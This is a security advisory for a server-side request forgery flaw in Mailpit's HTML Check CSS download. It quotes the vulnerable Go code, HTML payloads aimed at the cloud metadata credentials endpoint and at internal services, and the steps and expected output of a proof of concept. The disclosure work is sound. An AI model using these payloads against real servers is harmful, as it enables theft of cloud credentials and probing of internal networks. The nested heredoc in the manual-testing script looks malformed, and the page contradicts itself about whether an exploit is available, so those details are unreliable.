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GHSA-6jxm-fv7w-rw5j

MediumCVSS 5.8 / 10
Published Jan 21, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Server-Side Request Forgery (SSRF) via HTML Check CSS Download

The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.

Affected Components

  • Primary File: internal/htmlcheck/css.go (lines 132-207)
  • API Endpoint: /api/v1/message/{ID}/html-check
  • Handler: server/apiv1/other.go (lines 38-75)
  • Vulnerable Functions:
    • inlineRemoteCSS() - line 132
    • downloadToBytes() - line 193
    • isURL() - line 221

Technical Details

1. Insufficient URL Validation (isURL() function):

// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
    u, err := url.Parse(str)
    return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}

2. Unrestricted Download (downloadToBytes() function):

// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
    client := http.Client{
        Timeout: 5 * time.Second,
    }

    // Get the link response data
    resp, err := client.Get(url)  // ⚠️ VULNERABLE - No IP validation
    if err != nil {
        return nil, err
    }
    defer func() { _ = resp.Body.Close() }()

    if resp.StatusCode != 200 {
        err := fmt.Errorf("error downloading %s", url)
        return nil, err
    }

    body, err := io.ReadAll(resp.Body)  // ⚠️ Downloads ENTIRE response
    if err != nil {
        return nil, err
    }

    return body, nil
}

3. Automatic CSS Processing:

// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
    reader := strings.NewReader(h)
    doc, err := goquery.NewDocumentFromReader(reader)
    if err != nil {
        return h, err
    }

    remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
    for _, link := range remoteCSS {
        attributes := link.Attr
        for _, a := range attributes {
            if a.Key == "href" {
                if !isURL(a.Val) {  // ⚠️ Insufficient validation
                    continue
                }

                if config.BlockRemoteCSSAndFonts {
                    logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
                    return h, nil
                }

                resp, err := downloadToBytes(a.Val)  // ⚠️ Downloads from ANY URL
                if err != nil {
                    logger.Log().Warnf("[html-check] failed to download %s", a.Val)
                    continue
                }

                // Inlines the downloaded CSS
                styleBlock := &html.Node{
                    Type:     html.ElementNode,
                    Data:     "style",
                    DataAtom: atom.Style,
                }
                styleBlock.AppendChild(&html.Node{
                    Type: html.TextNode,
                    Data: string(resp),  // Downloaded content inserted
                })
                link.Parent.AppendChild(styleBlock)
            }
        }
    }
    
    return doc.Html()
}

Attack Vectors

Attack Vector 1: Cloud Metadata Credential Theft

Attacker sends HTML email with:

<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>

When HTML check is triggered:

  1. Mailpit makes GET request to AWS metadata endpoint
  2. Downloads IAM credentials as "CSS content"
  3. Credentials logged or potentially leaked via error messages

Proof of Concept

A complete working exploit is provided in ssrf_htmlcheck_poc.py.

PoC Usage:

# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025

# Run the exploit
python3 ssrf_htmlcheck_poc.py

PoC Workflow:

  1. Starts SSRF listener on port 8888 to detect callbacks
  2. Sends malicious HTML emails containing: 
    <link rel="stylesheet" href="http://localhost:8888/malicious.css">
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
<link rel="stylesheet" href="http://127.0.0.1:6379/">
  3. Triggers HTML check via API: GET /api/v1/message/{ID}/html-check
  4. Monitors callbacks and analyzes responses
  5. Demonstrates exploitation of:
    • Local listener (proves SSRF)
    • Cloud metadata endpoints
    • Internal services (Redis, etc.)
    • Private network ranges

Expected Output:

╔══════════════════════════════════════════════════════════════════════════════╗
║  Mailpit SSRF PoC - HTML Check CSS Download Vulnerability                   ║
║  Severity: MODERATE                                                              ║
║  File: internal/htmlcheck/css.go:193-207                                    ║
╚══════════════════════════════════════════════════════════════════════════════╝

[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...

================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)

[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -

[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
    Path: /malicious.css
    User-Agent: Mailpit/dev

================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================

⚠️  Note: These may timeout or fail, but Mailpit WILL attempt the connection

[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow

Manual Testing:

# 1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL
import smtplib
from email.mime.text import MIMEText

html = '''
<!DOCTYPE html>
<html>
<head>
    <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
</head>
<body>Test</body>
</html>
'''

msg = MIMEText(html, 'html')
msg['Subject'] = 'SSRF Test'
msg['From'] = 'test@test.com'
msg['To'] = 'victim@test.com'

with smtplib.SMTP('localhost', 1025) as smtp:
    smtp.send_message(msg)
SENDMAIL
EOF

# 2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')

# 3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"
Risk Scores
Base Score
5.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.

Threat Intelligence
5.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.39%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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